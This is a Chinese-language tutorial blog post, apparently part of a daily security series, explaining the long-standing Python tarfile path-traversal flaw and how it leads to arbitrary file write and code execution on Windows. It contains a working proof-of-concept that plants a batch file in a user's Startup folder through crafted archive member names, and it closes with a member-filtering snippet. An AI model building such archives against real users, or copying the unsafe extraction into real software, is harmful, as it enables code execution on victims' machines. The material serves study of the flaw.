我岸邊露伴最喜歡的事情之一就是對自以為很強的傢伙說「NO」 - JOJO的奇妙冒險
勘誤 : 13:09 的設定方法應該是透過 "本機群組原則編輯器(gpedit.msc)" 而非註冊機碼
第17天要針對一個亂入的 Python 任意檔案寫入漏洞,這個漏洞存在15年而且當年還被誤以為只是個目錄走訪的弱點,但後來才發現其實可以觸發 RCE。那就先看看它的基本資訊吧。
漏洞相關資訊
在現今軟體的開發中很難不靠內建函式庫或是第三方函式庫來達成目標,但這些函式庫就真的安全嗎? 這個漏洞就讓我們見識到即便是使用內建的模組,仍然會面臨到不小的資安風險。
Tarfile 是 Python 中的預設模組,該模組會將 Tar 檔案的相關內容儲存在 TarInfo 結構中。但是該模組在實作解壓縮功能時候並未對外部的傳入資料進行判斷,導致拼接路徑的過程中z發生路徑走訪的問題。參考 Tarfile: Exploiting the World With a 15-Year-Old Vulnerability 內的程式碼片段說明如下 :
在檔案系統中, .. 代表上一層目錄,而 \ / 代表不同作業系統分隔資料夾的符號,因此當 tar 壓縮檔內的檔案名稱具有 ../ 之類的符號就有機會達成目錄走訪的效果。但是在搭配上解壓縮檔案的功能,就會轉變成任意檔案寫入的效果。也因此當有辦法將一個 BAT 檔案寫到 Windows 的 C:\Users\使用者帳號\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 底下,則重開機後就會觸發 RCE,是不是很酷呢?
但這個帶有 ../ 的 tar 檔案要怎麼產生呢? 則可以參考同一篇文的範例內容如下 :
透過 add 函式搭配 filter 函式的使用,就可以針對加入 tar 中的檔案進行重新命名的動作,也就可以趁機加入 ../ 的字元在裡面。至於做好的檔案是不能夠用 tar xvf 指令做解壓縮的,因為會出現發現 ../ 的字元導致錯誤。必須使用 python3 的模組對其解壓縮,就可以觸發這個漏洞。
大概了解這個漏洞的原理後,就要開始用 Windows 的環境來測試 RCE 的效果了,這邊也順便將之後會用的 Windows 環境建立起來好了。
步驟如下 :
import tarfile
def change_name(tarinfo) :
tarinfo.name = "..\\..\\..\\..\\..\\..\\..\\..\\Users\\aeifkz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + tarinfo.name
return tarinfo
with tarfile.open("test.tar","w:xz") as tar :
tar.add("bad.bat",filter=change_name)
import tarfile
with tarfile.open("test.tar","r") as tar :
tar.extractall()
使用方式如下:
import os
import tarfile
def py_files(members):
for tarinfo in members:
# 這邊可以客製化要解壓縮的檔案
if os.path.splitext(tarinfo.name)[1] == ".py":
yield tarinfo
tar = tarfile.open("sample.tar.gz")
tar.extractall(members=py_files(tar))
tar.close()
回家作業 :